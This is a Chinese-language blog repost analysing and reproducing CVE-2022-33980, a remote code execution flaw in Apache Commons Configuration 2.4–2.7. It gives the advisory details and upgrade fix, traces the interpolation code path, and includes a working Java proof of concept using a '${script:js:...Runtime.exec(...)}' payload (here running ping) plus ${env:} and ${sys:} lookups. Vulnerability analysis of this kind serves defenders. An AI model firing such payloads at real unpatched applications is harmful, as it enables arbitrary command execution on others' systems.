IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现 -> 正文阅读

[网络协议]Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现

一、什么是Apache Commons Configuration

Apache Commons Configuration是Apache基金会下的一个开源项目组件。它是一个java应用程序的配置管理工具,提供了一种通用的管理方式,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。让Java开发者可以使用统一的接口读取不同类型的配置文件。

在这里插入图片描述

二、Apache Commons Configuration远程代码执行漏洞

漏洞状态

细节是否公开POC状态EXP状态在野利用
未发现已公开未发现未发现

漏洞描述

近日,Apache官方发布了关于Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)的安全公告。据公告描述,该漏洞是由于Apache Commons Configuration提供的Configuration变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。

在这里插入图片描述

Apache Commons Configuration执行变量插值(Variable Interpolation)允许动态评估和扩展属性。插值的标准格式是"${prefix:name}",其中"prefix"用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到"script"可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

  • “script” - execute expressions using the JVM script execution engine (javax.script)
  • “dns” - resolve dns records
  • “url” - load values from urls, including from remote servers

漏洞等级

目前漏洞POC已被泄露,攻击者利用该漏洞可导致远程命令执行,危害系统安全。

影响范围

2.4 <= Apache Commons Configuration <= 2.7

修复建议

官方已发布漏洞补丁及修复版本,酌情升级至安全版本,下载链接如下:https://commons.apache.org/proper/commons-configuration/changes-report.html

三、漏洞分析

在这里插入图片描述

如上图为漏洞的POC,使用java.lang.Runtime.getRuntime()exec()方法进行任意命令执行。其他执行引擎如下

${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}
${sys:os.version}
${env:PATH}

在这里插入图片描述

创建对象后进入interpolate()方法执行传入值的插值。如果换传入的是字符串,此方法会检查它是否包含变量。

进入resolveSingleVariable(final String strValue)方法,插入单个变量的字符串值。

在这里插入图片描述

随后进入extractVariableName(final String strValue)提取变量名。

在这里插入图片描述

进入resolve(final String var)解析后,可以看到变量var = "script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"PREFIX_SEPARATOR = :,对变量进行分割解析。

在这里插入图片描述

获取数值后prefix = "script"随即进入fetchLookupForPrefix(prefix).lookup(name)获取执行器的对象。
在这里插入图片描述
在这里插入图片描述

通过获取到的对象,进入public String lookup(final String key)方法,其中key的值为"js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"

在这里插入图片描述

至此,我们看到scriptEngine.eval(script)进行命令执行,此时执行命令的线程创建了PID=26152的执行进程。

在这里插入图片描述

然后程序向上返回,看到执行完成的信息value = "Process[pid=26152, exitValue=1]"

在这里插入图片描述

通过抓报文可以看到,成功的执行了ping -c1 10.10.10.10命令。

四、漏洞利用

使用该版本组件的应用程序理论上都会存在该漏洞,只是传入参数的难易程度决定了漏洞的利用情况。

本地POC链接见附录。

package main;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class main {
    public static void  main(String []args) throws Exception{
        String cmd = new String();
        cmd = "${script:js:java.lang.Runtime.getRuntime().exec(\"ping -c1 10.10.10.10\")}";
        // cmd = "${sys:user.home}";
        // cmd = "${sys:os.version}";
        // cmd = "${env:PATH}";
        InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();

        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
        System.out.printf("POC: %s",interpolator.interpolate(cmd));
    }
}

使用maven构建项目

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.5</version>
</dependency>

五、附录

参考链接:
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
https://commons.apache.org/proper/commons-configuration/userguide/howto_basicfeatures.html#Variable_Interpolation
https://commons.apache.org/proper/commons-configuration/changes-report.html
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章           查看所有文章
加:2022-08-19 19:37:39  更:2022-08-19 19:40:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/25 7:51:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码